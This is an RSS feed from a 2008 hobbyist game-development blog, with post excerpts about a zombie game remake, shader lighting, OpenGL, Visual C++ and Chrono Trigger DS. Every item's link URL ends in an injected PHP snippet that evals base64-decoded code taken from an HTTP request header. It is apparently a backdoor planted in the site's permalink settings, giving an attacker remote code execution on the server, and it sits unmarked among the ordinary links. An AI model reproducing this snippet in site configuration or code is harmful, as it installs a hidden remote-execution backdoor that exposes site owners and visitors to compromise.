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	<title>Thats Games &#124; Blog</title>
	<link>http://thatsgames.com/blog</link>
	<description>hopeful for the future</description>
	<lastBuildDate>Tue, 07 Oct 2008 16:14:54 +0000</lastBuildDate>
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	<item>
		<title>Help me write a simple EULA that&#8217;s fair for you and me</title>
		<description>reddit
Digg

ZAMN is no more, I'm changing the name (suggestions anyone?) and sprites to avoid a lawsuit XD I am also working on a new sales model which will hopefully help me sell bucket loads of the game and not inconvenience customers in the slightest. I will provide an extremely comprehensive ...</description>
		<link>http://thatsgames.com/blog/2008/10/07/help-me-write-a-simple-eula-thats-fair-for-you-and-me/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Let There Be Light</title>
		<description>I've added support for pseudo real-time per pixel point lights using SM2.0. The game technically supports an infinite number of point lights but to achieve it in SM2.0 I had to perform a little voodoo magic and dumb down most of the lighting calculations. But hey, it doesn't look too ...</description>
		<link>http://thatsgames.com/blog/2008/09/15/let-there-be-light/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>The Downfall of OpenGL</title>
		<description>

Long ago when DirectX 10 was released and soon after when everyone started bagging it I predicted either one of two things: OpenGL will undergo a similar transformation and cop the same amount of criticism from know-it-all fanboys, or OpenGL will stay the same and cop a fair amount of ...</description>
		<link>http://thatsgames.com/blog/2008/08/18/downfall-of-opengl-and-i-predicted-it-first/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Visual C++ Express 2008</title>
		<description>Well my harddrive had been getting very full and rather than selectively uninstalling this that or the other thing I just took a match to it and started fresh. Of course with a fresh OS install and an empty hard drive comes a new IDE, so I used it as ...</description>
		<link>http://thatsgames.com/blog/2008/08/13/visual-c-express-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Turrets!</title>
		<description>Just been working on modeling some turrets and in keeping with ZAMN's quirkiness it's not exactly a turret.

 </description>
		<link>http://thatsgames.com/blog/2008/08/10/turrets/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>My Idea is Awesome!</title>
		<description>"I have a great game idea but I can't program, do it for me plox!11!1!1"

What does that mean to you? If you're a hobbyist programmer who dibble dabbles in the world of game development you know all too well. Some random pimple faced tween has just got the best idea ...</description>
		<link>http://thatsgames.com/blog/2008/08/09/my-idea-is-awesome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Enthusiasm Makes Programmers</title>
		<description>Reading typical pro-Apple drivel is quite a common experience for anyone who frequents websites like Digg or Reddit, or the internet in generel. So no matter, I'm used to seeing and ignoring the irrational attacks Microsoft gets and the unconditional praise Apple is lavished with but on this case I ...</description>
		<link>http://thatsgames.com/blog/2008/08/06/enthusiasm-makes-programmers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>New ZAMN Zombie Renders</title>
		<description>Well I just fixed the jerky animation transitions (yay) and since I'm happy I just thought I'd throw around some renders of the new ZAMN zombies for your viewing pleasure =)

*If you would like to help email me at thatsgames [at] gmail [dot] com . I'm just one lonely programmer ...</description>
		<link>http://thatsgames.com/blog/2008/07/25/new-zamn-zombie-screens/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>&#8216;Zillion Zombie&#8217; Tech Demo</title>
		<description>Remember this?



Remember how much you complained, well some of you were complaining, apparently 2D cut out sprites in a 3D world were just not right, and it wasn’t a remake if I was re-using bits and pieces from the original game. Har har har.

Well here's my proposed solution:



Right now there ...</description>
		<link>http://thatsgames.com/blog/2008/07/22/zillion-zombie-tech-demo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Square Enix Has Just Announced Chrono Trigger DS!</title>
		<description>Ok, I'm trying to be calm here but inside I'm exploding. Hear me out before you dismiss me as a looney bin.

Ok, ok, *breathes*, you might think I'm crazy but please, hear me out, this is Chrono Trigger, Square is going to announce Chrono Trigger for the DS, they think ...</description>
		<link>http://thatsgames.com/blog/2008/07/02/square-enix-has-just-announced-chrono-trigger-ds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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